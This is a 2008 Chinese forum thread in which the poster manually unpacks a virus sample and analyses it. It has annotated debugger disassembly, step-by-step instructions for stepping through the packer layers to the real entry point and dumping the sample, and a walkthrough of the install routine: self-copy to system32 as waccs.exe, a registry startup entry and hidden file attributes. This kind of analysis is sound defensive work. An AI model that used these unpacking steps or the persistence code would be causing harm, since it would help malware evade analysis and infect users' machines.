00401F34    B8 6587CF97     MOV EAX,97CF8765
00401F39    81C1 0E541C99   ADD ECX,991C540E
00401F3F    B8 957536C9     MOV EAX,C9367595
00401F44    61              POPAD
00401F45    68 64000000     PUSH 64
00401F4A    FF15 F2914100   CALL DWORD PTR DS:[4191F2]               ; GDI32.GetObjectType
00401F50    81D2 E1473A10   ADC EDX,103A47E1
00401F56    C1C1 02         ROL ECX,2
00401F59    C1D2 01         RCL EDX,1
00401F5C    3BC8            CMP ECX,EAX
00401F5E    76 07           JBE SHORT misfotos.00401F67
00401F60    BA 4E40CC04     MOV EDX,4CC404E
00401F65    23C8            AND ECX,EAX
00401F67    1915 40FE4000   SBB DWORD PTR DS:[40FE40],EDX
00401F6D    81D1 B9200B37   ADC ECX,370B20B9
00401F73    C1DA 10         RCR EDX,10
00401F76    68 64000000     PUSH 64
00401F7B    68 DC000000     PUSH 0DC
00401F80    FF15 A2914100   CALL DWORD PTR DS:[4191A2]               ; GDI32.GetMetaRgn
00401F86    81C9 196ABB10   OR ECX,10BB6A19
00401F8C    0B05 50F94000   OR EAX,DWORD PTR DS:[40F950]
00401F92    81E2 C985C27A   AND EDX,7AC285C9
00401F98    68 5A000000     PUSH 5A
00401F9D    FF15 CE914100   CALL DWORD PTR DS:[4191CE]               ; GDI32.GetTextColor
00401FA3    C1F9 06         SAR ECX,6
00401FA6    C1F0 0F         SAL EAX,0F
00401FA9    B9 A58554AF     MOV ECX,AF5485A5
00401FAE    E9 0C000000     JMP misfotos.00401FBF
00401FB3    3305 D0FE4000   XOR EAX,DWORD PTR DS:[40FED0]
00401FB9    2315 00FB4000   AND EDX,DWORD PTR DS:[40FB00]
00401FBF    C3              RETN
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:50:01 | 显示全部楼层
----------------------------------------------------------------------------------------------------
第三层:压缩壳

003C0000    55              PUSH EBP                                 ; 第三层压缩壳入口处.[F8]向下走.
003C0001    8BEC            MOV EBP,ESP
003C0003    81EC 90000000   SUB ESP,90
003C0009    E8 00000000     CALL 003C000E                            ; [F7]步入.
003C000E    58              POP EAX                                  ; 步入后来到这里,继续[F8]向下走.
003C000F    8BF0            MOV ESI,EAX
003C0011    2D 2B144000     SUB EAX,40142B
003C0016    8945 A0         MOV DWORD PTR SS:[EBP-60],EAX
003C0019    81E6 00F0FFFF   AND ESI,FFFFF000
003C001F    8975 B0         MOV DWORD PTR SS:[EBP-50],ESI
003C0022    8B75 04         MOV ESI,DWORD PTR SS:[EBP+4]
003C0025    81E6 00F0FFFF   AND ESI,FFFFF000
003C002B    66:813E 4D5A    CMP WORD PTR DS:[ESI],5A4D
003C0030    74 08           JE SHORT 003C003A
003C0032    81EE 00100000   SUB ESI,1000
003C0038 ^ EB F1           JMP SHORT 003C002B                       ; 这里的循环回跳不要跳.
003C003A    8B46 3C         MOV EAX,DWORD PTR DS:[ESI+3C]            ; 我们[F4]执行到这里,继续[F8]向下走.
003C003D    3D 00200000     CMP EAX,2000
003C0042 ^ 77 EE           JA SHORT 003C0032
003C0044    03C6            ADD EAX,ESI
003C0046    8138 50450000   CMP DWORD PTR DS:[EAX],4550
003C004C ^ 75 E4           JNZ SHORT 003C0032
003C004E    8975 C8         MOV DWORD PTR SS:[EBP-38],ESI
003C0051    8B46 3C         MOV EAX,DWORD PTR DS:[ESI+3C]
003C0054    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C0057    8B48 28         MOV ECX,DWORD PTR DS:[EAX+28]
003C005A    034D C8         ADD ECX,DWORD PTR SS:[EBP-38]
003C005D    894D AC         MOV DWORD PTR SS:[EBP-54],ECX
003C0060    64:A1 30000000 MOV EAX,DWORD PTR FS:[30]
003C0066    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]
003C0069    8B40 1C         MOV EAX,DWORD PTR DS:[EAX+1C]
003C006C    8B00            MOV EAX,DWORD PTR DS:[EAX]
003C006E    8B40 08         MOV EAX,DWORD PTR DS:[EAX+8]
003C0071    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
003C0074    B8 44332211     MOV EAX,11223344
003C0079    B8 44332211     MOV EAX,11223344
003C007E    68 00700000     PUSH 7000
003C0083    68 7BD1486C     PUSH 6C48D17B
003C0088    68 691EAD0F     PUSH 0FAD1E69
003C008D    68 00880000     PUSH 8800
003C0092    8F45 80         POP DWORD PTR SS:[EBP-80]
003C0095    8F85 70FFFFFF   POP DWORD PTR SS:[EBP-90]
003C009B    8F45 94         POP DWORD PTR SS:[EBP-6C]
003C009E    8F45 9C         POP DWORD PTR SS:[EBP-64]
003C00A1    8D35 8D184000   LEA ESI,DWORD PTR DS:[40188D]
003C00A7    0375 A0         ADD ESI,DWORD PTR SS:[EBP-60]
003C00AA    8D7D D8         LEA EDI,DWORD PTR SS:[EBP-28]
003C00AD    56              PUSH ESI
003C00AE    56              PUSH ESI
003C00AF    FF75 F8         PUSH DWORD PTR SS:[EBP-8]
003C00B2    E8 22030000     CALL 003C03D9                            ; 这个CALL可以直接[F8]步过.
003C00B7    AB              STOS DWORD PTR ES:[EDI]
003C00B8    5E              POP ESI
003C00B9    46              INC ESI
003C00BA    807E FF 00      CMP BYTE PTR DS:[ESI-1],0
003C00BE ^ 75 F9           JNZ SHORT 003C00B9                       ; 这里的循环回跳不要跳.
003C00C0    803E AB         CMP BYTE PTR DS:[ESI],0AB                ; 我们[F4]执行到这里,继续[F8]向下走.
003C00C3 ^ 75 E8           JNZ SHORT 003C00AD                       ; 这里的循环回跳不要跳.
003C00C5    8B5D 94         MOV EBX,DWORD PTR SS:[EBP-6C]            ; 我们[F4]执行到这里,继续[F8]向下走.
003C00C8    8B95 70FFFFFF   MOV EDX,DWORD PTR SS:[EBP-90]
003C00CE    8B4D 80         MOV ECX,DWORD PTR SS:[EBP-80]
003C00D1    60              PUSHAD
003C00D2    6A 40           PUSH 40
003C00D4    68 00100000     PUSH 1000
003C00D9    51              PUSH ECX
003C00DA    6A 00           PUSH 0
003C00DC    FF55 E8         CALL DWORD PTR SS:[EBP-18]
003C00DF    8945 90         MOV DWORD PTR SS:[EBP-70],EAX
003C00E2    0BC0            OR EAX,EAX
003C00E4    61              POPAD
003C00E5    0F84 D8020000   JE 003C03C3
003C00EB    C1E9 02         SHR ECX,2
003C00EE    8B75 9C         MOV ESI,DWORD PTR SS:[EBP-64]
003C00F1    0375 C8         ADD ESI,DWORD PTR SS:[EBP-38]
003C00F4    8B7D 90         MOV EDI,DWORD PTR SS:[EBP-70]
003C00F7    AD              LODS DWORD PTR DS:[ESI]
003C00F8    2BC2            SUB EAX,EDX
003C00FA    33C3            XOR EAX,EBX
003C00FC    AB              STOS DWORD PTR ES:[EDI]
003C00FD ^ E2 F8           LOOPD SHORT 003C00F7                     ; 这里的循环回跳不要跳.
003C00FF    8B45 90         MOV EAX,DWORD PTR SS:[EBP-70]            ; 我们[F4]执行到这里,继续[F8]向下走.
003C0102    8B58 3C         MOV EBX,DWORD PTR DS:[EAX+3C]
003C0105    035D 90         ADD EBX,DWORD PTR SS:[EBP-70]
003C0108    895D B4         MOV DWORD PTR SS:[EBP-4C],EBX
003C010B    8D83 F8000000   LEA EAX,DWORD PTR DS:[EBX+F8]
003C0111    8945 BC         MOV DWORD PTR SS:[EBP-44],EAX
003C0114    0FB743 06       MOVZX EAX,WORD PTR DS:[EBX+6]
003C0118    8945 A4         MOV DWORD PTR SS:[EBP-5C],EAX
003C011B    8B43 28         MOV EAX,DWORD PTR DS:[EBX+28]
003C011E    8985 78FFFFFF   MOV DWORD PTR SS:[EBP-88],EAX
003C0124    8B83 80000000   MOV EAX,DWORD PTR DS:[EBX+80]
003C012A    8945 98         MOV DWORD PTR SS:[EBP-68],EAX
003C012D    8B43 50         MOV EAX,DWORD PTR DS:[EBX+50]
003C0130    8985 74FFFFFF   MOV DWORD PTR SS:[EBP-8C],EAX
003C0136    8B45 90         MOV EAX,DWORD PTR SS:[EBP-70]
003C0139    8B58 3C         MOV EBX,DWORD PTR DS:[EAX+3C]
003C013C    035D C8         ADD EBX,DWORD PTR SS:[EBP-38]
003C013F    895D C4         MOV DWORD PTR SS:[EBP-3C],EBX
003C0142    81C3 F8000000   ADD EBX,0F8
003C0148    895D BC         MOV DWORD PTR SS:[EBP-44],EBX
003C014B    8D45 D0         LEA EAX,DWORD PTR SS:[EBP-30]
003C014E    50              PUSH EAX
003C014F    6A 40           PUSH 40
003C0151    FFB5 74FFFFFF   PUSH DWORD PTR SS:[EBP-8C]
003C0157    FF75 C8         PUSH DWORD PTR SS:[EBP-38]
003C015A    FF55 E4         CALL DWORD PTR SS:[EBP-1C]
003C015D    0BC0            OR EAX,EAX
003C015F    0F84 5E020000   JE 003C03C3
003C0165    8B8D 74FFFFFF   MOV ECX,DWORD PTR SS:[EBP-8C]
003C016B    C1E9 02         SHR ECX,2
003C016E    33C0            XOR EAX,EAX
003C0170    8B7D C8         MOV EDI,DWORD PTR SS:[EBP-38]
003C0173    F3:AB           REP STOS DWORD PTR ES:[EDI]
003C0175    B9 00100000     MOV ECX,1000
003C017A    8B75 90         MOV ESI,DWORD PTR SS:[EBP-70]
003C017D    8B7D C8         MOV EDI,DWORD PTR SS:[EBP-38]
003C0180    E8 23020000     CALL 003C03A8                            ; 这个CALL可以直接[F8]步过.
003C0185    8B55 A4         MOV EDX,DWORD PTR SS:[EBP-5C]
003C0188    8B5D B4         MOV EBX,DWORD PTR SS:[EBP-4C]
003C018B    81C3 F8000000   ADD EBX,0F8
003C0191    8B75 90         MOV ESI,DWORD PTR SS:[EBP-70]
003C0194    0373 14         ADD ESI,DWORD PTR DS:[EBX+14]
003C0197    8B7D C8         MOV EDI,DWORD PTR SS:[EBP-38]
003C019A    037B 0C         ADD EDI,DWORD PTR DS:[EBX+C]
003C019D    8B4B 10         MOV ECX,DWORD PTR DS:[EBX+10]
003C01A0    E8 03020000     CALL 003C03A8                            ; 这个CALL可以直接[F8]步过.
003C01A5    83C3 28         ADD EBX,28
003C01A8    4A              DEC EDX
003C01A9 ^ 75 E6           JNZ SHORT 003C0191                       ; 这里的循环回跳不要跳.
003C01AB    68 00800000     PUSH 8000                                ; 我们[F4]执行到这里,继续[F8]向下走.
003C01B0    6A 00           PUSH 0
003C01B2    FF75 90         PUSH DWORD PTR SS:[EBP-70]
003C01B5    FF55 EC         CALL DWORD PTR SS:[EBP-14]
003C01B8    8B5D C4         MOV EBX,DWORD PTR SS:[EBP-3C]
003C01BB    8B83 80000000   MOV EAX,DWORD PTR DS:[EBX+80]
003C01C1    0BC0            OR EAX,EAX
003C01C3    0F84 9B000000   JE 003C0264
003C01C9    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C01CC    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
003C01CF    C745 B8 0000000>MOV DWORD PTR SS:[EBP-48],0
003C01D6    8B5D FC         MOV EBX,DWORD PTR SS:[EBP-4]
003C01D9    8B43 0C         MOV EAX,DWORD PTR DS:[EBX+C]
003C01DC    0BC0            OR EAX,EAX
003C01DE    0F84 80000000   JE 003C0264
003C01E4    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C01E7    50              PUSH EAX
003C01E8    50              PUSH EAX
003C01E9    FF55 DC         CALL DWORD PTR SS:[EBP-24]
003C01EC    0BC0            OR EAX,EAX
003C01EE    59              POP ECX
003C01EF    75 04           JNZ SHORT 003C01F5
003C01F1    51              PUSH ECX
003C01F2    FF55 E0         CALL DWORD PTR SS:[EBP-20]
003C01F5    8945 C0         MOV DWORD PTR SS:[EBP-40],EAX
003C01F8    8B5D FC         MOV EBX,DWORD PTR SS:[EBP-4]
003C01FB    8B43 10         MOV EAX,DWORD PTR DS:[EBX+10]
003C01FE    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C0201    8945 A8         MOV DWORD PTR SS:[EBP-58],EAX
003C0204    8B03            MOV EAX,DWORD PTR DS:[EBX]
003C0206    0BC0            OR EAX,EAX
003C0208    75 14           JNZ SHORT 003C021E
003C020A    8B45 A8         MOV EAX,DWORD PTR SS:[EBP-58]
003C020D    2B45 C8         SUB EAX,DWORD PTR SS:[EBP-38]
003C0210    3D FFFFAF00     CMP EAX,0AFFFFF
003C0215    77 44           JA SHORT 003C025B
003C0217    3D 00100000     CMP EAX,1000
003C021C    72 3D           JB SHORT 003C025B
003C021E    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C0221    8945 D4         MOV DWORD PTR SS:[EBP-2C],EAX
003C0224    8B75 D4         MOV ESI,DWORD PTR SS:[EBP-2C]
003C0227    0375 B8         ADD ESI,DWORD PTR SS:[EBP-48]
003C022A    8B36            MOV ESI,DWORD PTR DS:[ESI]
003C022C    0BF6            OR ESI,ESI
003C022E    74 2B           JE SHORT 003C025B
003C0230    8BC6            MOV EAX,ESI
003C0232    25 00000080     AND EAX,80000000
003C0237    74 08           JE SHORT 003C0241
003C0239    81E6 FFFFFF4F   AND ESI,4FFFFFFF
003C023F    EB 06           JMP SHORT 003C0247
003C0241    0375 C8         ADD ESI,DWORD PTR SS:[EBP-38]
003C0244    83C6 02         ADD ESI,2
003C0247    56              PUSH ESI
003C0248    FF75 C0         PUSH DWORD PTR SS:[EBP-40]
003C024B    FF55 D8         CALL DWORD PTR SS:[EBP-28]
003C024E    8B7D B8         MOV EDI,DWORD PTR SS:[EBP-48]
003C0251    037D A8         ADD EDI,DWORD PTR SS:[EBP-58]
003C0254    AB              STOS DWORD PTR ES:[EDI]
003C0255    8345 B8 04      ADD DWORD PTR SS:[EBP-48],4
003C0259 ^ EB C9           JMP SHORT 003C0224                       ; 这里的循环回跳不要跳.
003C025B    8345 FC 14      ADD DWORD PTR SS:[EBP-4],14              ; 我们[F4]执行到这里,继续[F8]向下走.
003C025F ^ E9 6BFFFFFF     JMP 003C01CF                             ; 这里的循环回跳不要跳.
003C0264    8B45 C4         MOV EAX,DWORD PTR SS:[EBP-3C]            ; 我们[F4]执行到这里,继续[F8]向下走.
003C0267    8B70 34         MOV ESI,DWORD PTR DS:[EAX+34]
003C026A    8975 88         MOV DWORD PTR SS:[EBP-78],ESI
003C026D    8BB0 A0000000   MOV ESI,DWORD PTR DS:[EAX+A0]
003C0273    0BF6            OR ESI,ESI
003C0275    74 47           JE SHORT 003C02BE
003C0277    FFB0 A4000000   PUSH DWORD PTR DS:[EAX+A4]
003C027D    8F45 CC         POP DWORD PTR SS:[EBP-34]
003C0280    0375 C8         ADD ESI,DWORD PTR SS:[EBP-38]
003C0283    8B5D C8         MOV EBX,DWORD PTR SS:[EBP-38]
003C0286    2B5D 88         SUB EBX,DWORD PTR SS:[EBP-78]
003C0289    AD              LODS DWORD PTR DS:[ESI]
003C028A    8BF8            MOV EDI,EAX
003C028C    AD              LODS DWORD PTR DS:[ESI]
003C028D    8BC8            MOV ECX,EAX
003C028F    83F8 08         CMP EAX,8
003C0292    7E 2A           JLE SHORT 003C02BE
003C0294    294D CC         SUB DWORD PTR SS:[EBP-34],ECX
003C0297    83E9 08         SUB ECX,8
003C029A    D1E9            SHR ECX,1
003C029C    33C0            XOR EAX,EAX
003C029E    66:AD           LODS WORD PTR DS:[ESI]
003C02A0    8BD0            MOV EDX,EAX
003C02A2    C1EA 0C         SHR EDX,0C
003C02A5    83FA 03         CMP EDX,3
003C02A8    75 0C           JNZ SHORT 003C02B6
003C02AA    25 FF0F0000     AND EAX,0FFF
003C02AF    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C02B2    03C7            ADD EAX,EDI
003C02B4    0118            ADD DWORD PTR DS:[EAX],EBX
003C02B6 ^ E2 E4           LOOPD SHORT 003C029C
003C02B8    837D CC 00      CMP DWORD PTR SS:[EBP-34],0
003C02BC ^ 7F CB           JG SHORT 003C0289
003C02BE    8B45 C8         MOV EAX,DWORD PTR SS:[EBP-38]
003C02C1    0185 78FFFFFF   ADD DWORD PTR SS:[EBP-88],EAX
003C02C7    8B45 C8         MOV EAX,DWORD PTR SS:[EBP-38]
003C02CA    3B85 78FFFFFF   CMP EAX,DWORD PTR SS:[EBP-88]
003C02D0    75 0A           JNZ SHORT 003C02DC
003C02D2    C785 78FFFFFF 0>MOV DWORD PTR SS:[EBP-88],0
003C02DC    8B4D C8         MOV ECX,DWORD PTR SS:[EBP-38]
003C02DF    64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
003C02E5    8B40 30         MOV EAX,DWORD PTR DS:[EAX+30]
003C02E8    8B70 08         MOV ESI,DWORD PTR DS:[EAX+8]
003C02EB    3B75 C8         CMP ESI,DWORD PTR SS:[EBP-38]
003C02EE    74 1E           JE SHORT 003C030E
003C02F0    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]
003C02F3    8B40 1C         MOV EAX,DWORD PTR DS:[EAX+1C]
003C02F6    BA 00100000     MOV EDX,1000
003C02FB    4A              DEC EDX
003C02FC    74 10           JE SHORT 003C030E
003C02FE    8B00            MOV EAX,DWORD PTR DS:[EAX]
003C0300    3B48 08         CMP ECX,DWORD PTR DS:[EAX+8]
003C0303 ^ 75 F6           JNZ SHORT 003C02FB
003C0305    8BB5 78FFFFFF   MOV ESI,DWORD PTR SS:[EBP-88]
003C030B    8970 0C         MOV DWORD PTR DS:[EAX+C],ESI
003C030E    8D45 D0         LEA EAX,DWORD PTR SS:[EBP-30]
003C0311    50              PUSH EAX
003C0312    6A 20           PUSH 20
003C0314    FFB5 74FFFFFF   PUSH DWORD PTR SS:[EBP-8C]
003C031A    FF75 C8         PUSH DWORD PTR SS:[EBP-38]
003C031D    FF55 E4         CALL DWORD PTR SS:[EBP-1C]
003C0320    8B75 C4         MOV ESI,DWORD PTR SS:[EBP-3C]
003C0323    0FB74E 06       MOVZX ECX,WORD PTR DS:[ESI+6]
003C0327    81C6 F8000000   ADD ESI,0F8
003C032D    60              PUSHAD
003C032E    8B46 24         MOV EAX,DWORD PTR DS:[ESI+24]
003C0331    25 00000080     AND EAX,80000000
003C0336    74 13           JE SHORT 003C034B
003C0338    8D45 D0         LEA EAX,DWORD PTR SS:[EBP-30]
003C033B    50              PUSH EAX
003C033C    6A 40           PUSH 40
003C033E    FF76 08         PUSH DWORD PTR DS:[ESI+8]
003C0341    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]
003C0344    0345 C8         ADD EAX,DWORD PTR SS:[EBP-38]
003C0347    50              PUSH EAX
003C0348    FF55 E4         CALL DWORD PTR SS:[EBP-1C]
003C034B    61              POPAD
003C034C    83C6 28         ADD ESI,28
003C034F ^ E2 DC           LOOPD SHORT 003C032D                     ; 这里的循环回跳不要跳.
003C0351    83BD 78FFFFFF 0>CMP DWORD PTR SS:[EBP-88],0              ; 我们[F4]执行到这里,继续[F8]向下走.
003C0358    75 26           JNZ SHORT 003C0380
003C035A    8BE5            MOV ESP,EBP
003C035C    5D              POP EBP
003C035D    83C4 04         ADD ESP,4
003C0360    8B4C24 18       MOV ECX,DWORD PTR SS:[ESP+18]
003C0364    8B5424 14       MOV EDX,DWORD PTR SS:[ESP+14]
003C0368    8B5C24 10       MOV EBX,DWORD PTR SS:[ESP+10]
003C036C    8B6C24 08       MOV EBP,DWORD PTR SS:[ESP+8]
003C0370    8B7424 04       MOV ESI,DWORD PTR SS:[ESP+4]
003C0374    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
003C0377    83C4 20         ADD ESP,20
003C037A    B8 01000000     MOV EAX,1
003C037F    C3              RETN
003C0380    8B85 78FFFFFF   MOV EAX,DWORD PTR SS:[EBP-88]
003C0386    8BE5            MOV ESP,EBP
003C0388    5D              POP EBP
003C0389    83C4 04         ADD ESP,4
003C038C    8B4C24 18       MOV ECX,DWORD PTR SS:[ESP+18]
003C0390    8B5424 14       MOV EDX,DWORD PTR SS:[ESP+14]
003C0394    8B5C24 10       MOV EBX,DWORD PTR SS:[ESP+10]
003C0398    8B6C24 08       MOV EBP,DWORD PTR SS:[ESP+8]
003C039C    8B7424 04       MOV ESI,DWORD PTR SS:[ESP+4]
003C03A0    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
003C03A3    83C4 20         ADD ESP,20
003C03A6 - FFE0            JMP EAX                                  ; 这里是关键跳转,它会跳向下一个OEP入口处.
003C03A8    52              PUSH EDX
003C03A9    8BD1            MOV EDX,ECX
003C03AB    C1E9 02         SHR ECX,2
003C03AE    83E2 03         AND EDX,3
003C03B1    0BC9            OR ECX,ECX
003C03B3    74 02           JE SHORT 003C03B7
003C03B5    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
003C03B7    03CA            ADD ECX,EDX
003C03B9    0BC9            OR ECX,ECX
003C03BB    74 04           JE SHORT 003C03C1
003C03BD    8BCA            MOV ECX,EDX
003C03BF    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
003C03C1    5A              POP EDX
003C03C2    C3              RETN
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:50:43 | 显示全部楼层
----------------------------------------------------------------------------------------------------
手脱完毕,程序的真实入口:

00402B96    55              PUSH EBP                                 ; 这里是脱壳后的真实入口,在这里就可以DUMP了(输入表没有被破坏,脱壳保存后样本可以正常运行).
00402B97    8BEC            MOV EBP,ESP
00402B99    81EC E4070000   SUB ESP,7E4
00402B9F    6A 01           PUSH 1
00402BA1    FF15 A0804000   CALL DWORD PTR DS:[4080A0]               ; kernel32.SetErrorMode
00402BA7    68 04010000     PUSH 104
00402BAC    6A 00           PUSH 0
00402BAE    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402BB4    50              PUSH EAX
00402BB5    E8 80440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BBA    83C4 0C         ADD ESP,0C
00402BBD    68 04010000     PUSH 104
00402BC2    6A 00           PUSH 0
00402BC4    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402BCA    50              PUSH EAX
00402BCB    E8 6A440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BD0    83C4 0C         ADD ESP,0C
00402BD3    68 04010000     PUSH 104
00402BD8    6A 00           PUSH 0
00402BDA    8D85 B4F9FFFF   LEA EAX,DWORD PTR SS:[EBP-64C]
00402BE0    50              PUSH EAX
00402BE1    E8 54440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BE6    83C4 0C         ADD ESP,0C
00402BE9    68 04010000     PUSH 104
00402BEE    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402BF4    50              PUSH EAX
00402BF5    6A 00           PUSH 0
00402BF7    FF15 9C804000   CALL DWORD PTR DS:[40809C]               ; kernel32.GetModuleHandleA
00402BFD    50              PUSH EAX
00402BFE    FF15 98804000   CALL DWORD PTR DS:[408098]               ; kernel32.GetModuleFileNameA
00402C04    68 04010000     PUSH 104
00402C09    8D85 B4F9FFFF   LEA EAX,DWORD PTR SS:[EBP-64C]
00402C0F    50              PUSH EAX
00402C10    FF15 94804000   CALL DWORD PTR DS:[408094]               ; kernel32.GetSystemDirectoryA
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:52:13 | 显示全部楼层
二、样本分析部分:

----------------------------------------------------------------------------------------------------
1、当样本执行安装功能时的分析:

00402B96    55              PUSH EBP                                 ; 程序入口.
00402B97    8BEC            MOV EBP,ESP
00402B99    81EC E4070000   SUB ESP,7E4
00402B9F    6A 01           PUSH 1                                   ; ErrorMode = SEM_FAILCRITICALERRORS
00402BA1    FF15 A0804000   CALL DWORD PTR DS:[4080A0]               ; kernel32.SetErrorMode
00402BA7    68 04010000     PUSH 104
00402BAC    6A 00           PUSH 0
00402BAE    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402BB4    50              PUSH EAX
00402BB5    E8 80440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BBA    83C4 0C         ADD ESP,0C
00402BBD    68 04010000     PUSH 104
00402BC2    6A 00           PUSH 0
00402BC4    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402BCA    50              PUSH EAX
00402BCB    E8 6A440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BD0    83C4 0C         ADD ESP,0C
00402BD3    68 04010000     PUSH 104
00402BD8    6A 00           PUSH 0
00402BDA    8D85 B4F9FFFF   LEA EAX,DWORD PTR SS:[EBP-64C]
00402BE0    50              PUSH EAX
00402BE1    E8 54440000     CALL misfotos.0040703A                   ; JMP 到 msvcrt.memset
00402BE6    83C4 0C         ADD ESP,0C
00402BE9    68 04010000     PUSH 104
00402BEE    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402BF4    50              PUSH EAX
00402BF5    6A 00           PUSH 0
00402BF7    FF15 9C804000   CALL DWORD PTR DS:[40809C]               ; kernel32.GetModuleHandleA
00402BFD    50              PUSH EAX
00402BFE    FF15 98804000   CALL DWORD PTR DS:[408098]               ; kernel32.GetModuleFileNameA(获取程序自身当前路径名).
00402C04    68 04010000     PUSH 104
00402C09    8D85 B4F9FFFF   LEA EAX,DWORD PTR SS:[EBP-64C]
00402C0F    50              PUSH EAX
00402C10    FF15 94804000   CALL DWORD PTR DS:[408094]               ; kernel32.GetSystemDirectoryA(获取系统SYSTEM32文件夹路径名).
00402C16    68 1BD7A201     PUSH 1A2D71B
00402C1B    8D8D 8CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-774]
00402C21    E8 4A040000     CALL misfotos.00403070                   ; ASCII "waccs.exe"
00402C26    50              PUSH EAX
00402C27    8D85 B4F9FFFF   LEA EAX,DWORD PTR SS:[EBP-64C]
00402C2D    50              PUSH EAX
00402C2E    68 C9276909     PUSH 96927C9
00402C33    8D8D 84F8FFFF   LEA ECX,DWORD PTR SS:[EBP-77C]
00402C39    E8 D2030000     CALL misfotos.00403010                   ; ASCII "%s\%s"
00402C3E    50              PUSH EAX
00402C3F    68 04010000     PUSH 104
00402C44    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402C4A    50              PUSH EAX
00402C4B    E8 F0430000     CALL misfotos.00407040                   ; JMP 到 msvcrt._snprintf(ASCII "C:\WINDOWS\system32\waccs.exe").
00402C50    83C4 14         ADD ESP,14
00402C53    8D8D 84F8FFFF   LEA ECX,DWORD PTR SS:[EBP-77C]
00402C59    E8 28F3FFFF     CALL misfotos.00401F86                   ; 清除内存数据.
00402C5E    8D8D 8CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-774]
00402C64    E8 85F4FFFF     CALL misfotos.004020EE                   ; 清除内存数据.
00402C69    68 2FD7A201     PUSH 1A2D72F
00402C6E    8D8D 78F8FFFF   LEA ECX,DWORD PTR SS:[EBP-788]
00402C74    E8 F7030000     CALL misfotos.00403070                   ; ASCII "waccs.exe"
00402C79    50              PUSH EAX
00402C7A    E8 F1140000     CALL misfotos.00404170                   ; 在注册表中添加病毒启动项.
00402C7F    59              POP ECX
00402C80    8D8D 78F8FFFF   LEA ECX,DWORD PTR SS:[EBP-788]
00402C86    E8 63F4FFFF     CALL misfotos.004020EE                   ; 清除内存数据.
00402C8B    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402C91    50              PUSH EAX                                 ; /s2 = "C:\Documents and Settings\Coderui\桌面\virus.exe"
00402C92    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402C98    50              PUSH EAX                                 ; |s1 = "C:\WINDOWS\system32\waccs.exe"
00402C99    E8 04440000     CALL misfotos.004070A2                   ; JMP 到 msvcrt.strcmp(字符串比较)
00402C9E    59              POP ECX
00402C9F    59              POP ECX
00402CA0    85C0            TEST EAX,EAX                             ; 判断比较结果.
00402CA2    74 70           JE SHORT misfotos.00402D14               ; 如果s2 != s1,则该病毒程序执行安装(安装功能)操作;如果s2 == s1,则该病毒程序执行恶意(主要功能)操作.
00402CA4    83A5 A8F8FFFF 0>AND DWORD PTR SS:[EBP-758],0             ; 如果s2 != s1,则该病毒程序从这里开始执行安装操作.
00402CAB    EB 0D           JMP SHORT misfotos.00402CBA
00402CAD    8B85 A8F8FFFF   MOV EAX,DWORD PTR SS:[EBP-758]
00402CB3    40              INC EAX
00402CB4    8985 A8F8FFFF   MOV DWORD PTR SS:[EBP-758],EAX
00402CBA    83BD A8F8FFFF 0>CMP DWORD PTR SS:[EBP-758],5
00402CC1    7D 1E           JGE SHORT misfotos.00402CE1
00402CC3    6A 00           PUSH 0                                   ; /FailIfExists = FALSE
00402CC5    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]
00402CCB    50              PUSH EAX                                 ; |NewFileName = "C:\WINDOWS\system32\waccs.exe"
00402CCC    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00402CD2    50              PUSH EAX                                 ; |s2 = "C:\Documents and Settings\Coderui\桌面\virus.exe"
00402CD3    FF15 90804000   CALL DWORD PTR DS:[408090]               ; kernel32.CopyFileA
00402CD9    85C0            TEST EAX,EAX                             ; 判断执行的结果.
00402CDB    74 02           JE SHORT misfotos.00402CDF               ; 如果文件拷贝成功,则不执行跳转功能;如果文件拷贝失败,则跳到"00402CDF"地址处.
00402CDD    EB 02           JMP SHORT misfotos.00402CE1              ; 文件拷贝成功,跳到"00402CE1"地址处继续执行后面的操作.
00402CDF ^ EB CC           JMP SHORT misfotos.00402CAD              ; 跳回去重新执行文件拷贝操作代码.
00402CE1    6A 07           PUSH 7
00402CE3    8D85 ACF8FFFF   LEA EAX,DWORD PTR SS:[EBP-754]           ; /FileAttributes = READONLY|HIDDEN|SYSTEM
00402CE9    50              PUSH EAX                                 ; |FileName = "C:\WINDOWS\system32\waccs.exe"
